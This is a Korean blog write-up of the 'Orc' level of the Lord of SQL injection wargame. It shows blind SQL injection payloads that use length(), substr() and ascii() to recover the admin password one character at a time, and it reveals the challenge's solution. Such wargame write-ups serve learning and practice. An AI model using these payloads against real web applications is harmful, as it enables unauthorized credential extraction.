훈훈훈

Lord of SQL injection(LoS) - 4. Orc 본문

정보보안/웹 해킹 문제

Lord of SQL injection(LoS) - 4. Orc

훈훈훈 2018. 10. 15. 00:47





먼저 쿼리를 살펴보자.

id는 admin으로 전달 받고 pw는 사용자 입력으로 전달되는 것을 알 수 있다.


이제 코드를 살펴보자.


 1.  3번 문제와는 다르게 싱글쿼터, 더블쿼터, 백퀘터에 대한 필터링은 존재하지 않는다.

 2.  $_GET[pw] = addslahes($_GET[pw]);  :  addslashes( )함수 이용 => pw 우회 불가

 3.  if($result['id'] == 'admin') solve("goblin");  :  입력 받은 pw와 데이터베이스에 저장된 admin의 pw가 같아야 한다.


따라서 이번문제는 "Blind SQL injection"을 이용해서 문제를 풀어야 한다. 

먼저 데이터베이스에 저장된 admin의 pw 문자의 길이를 알기 위해 length( )함수를 이용해 pw의 길이를 구해보자.





pw='or length(pw)>5%23 을 입력했을 때 위에 그림과 같이 출력되는 것을 확인 할 수 있다.

"Hello admin"이라는 문자열이 출력되는 것을 통해 참 값 임을 유추할 수 있다.




pw='or length(pw)=6%23 을 입력했을 때 아무 메세지도 출력되지 않는 것을 확인 할 수 있다. 

따라서 거짓 값 임을 유추할 수 있다.




여러 시행착오 이후 pw='or length(pw)=8%23 을 입력 했을 때 참 값이 출력되는 것을 확인할 수 있다.

따라서 pw의 길이는 8임을 확인할 수 있다.





pw의 길이를 확인했으므로 이제 DB에 저장된 admin의 pw 값을 알아보자

이 과정도 패스워드 길이를 알아냈던 방식과 같이 참과 거짓을 통해 값을 유추해야 한다.


pw='or id='admin' and ascii(substr(pw,1,1)) = 50%23 을 입력을 통해 pw의 1번째 문자가 2(10진수 50)임을 확인 할 수 있다.

이런 과정을 반복 해서 다음과 같은 결과를 확인 할 수 있다.


1번째 문자  :  pw='or id='admin' and ascii(substr(pw, 1, 1)) = 50%23      =>        2


2번째 문자  :  pw='or id='admin' and ascii(substr(pw, 2, 1)) = 57%23      =>        9


3번째 문자  :  pw='or id='admin' and ascii(substr(pw, 3, 1)) = 53%23      =>        5


4번째 문자  :  pw='or id='admin' and ascii(substr(pw, 4, 1)) = 100%23     =>       d


5번째 문자  :  pw='or id='admin' and ascii(substr(pw, 5, 1)) = 53%23      =>        5


6번째 문자  :  pw='or id='admin' and ascii(substr(pw, 6, 1)) = 56%23      =>        8


7번째 문자  :  pw='or id='admin' and ascii(substr(pw, 7, 1)) = 52%23      =>        4


8번째 문자  :  pw='or id='admin' and ascii(substr(pw, 8, 1)) = 52%23      =>        4


결과적으로  pw=295d5844 임을 확인 할 수 있다.


이 과정이 귀찮다면 직접 코드를 만들거나 툴을 이용하는 방법이 있다. 





pw=295d5844 를 입력했을 때 문제가 풀린 것을 확인 할 수 있다.






Comments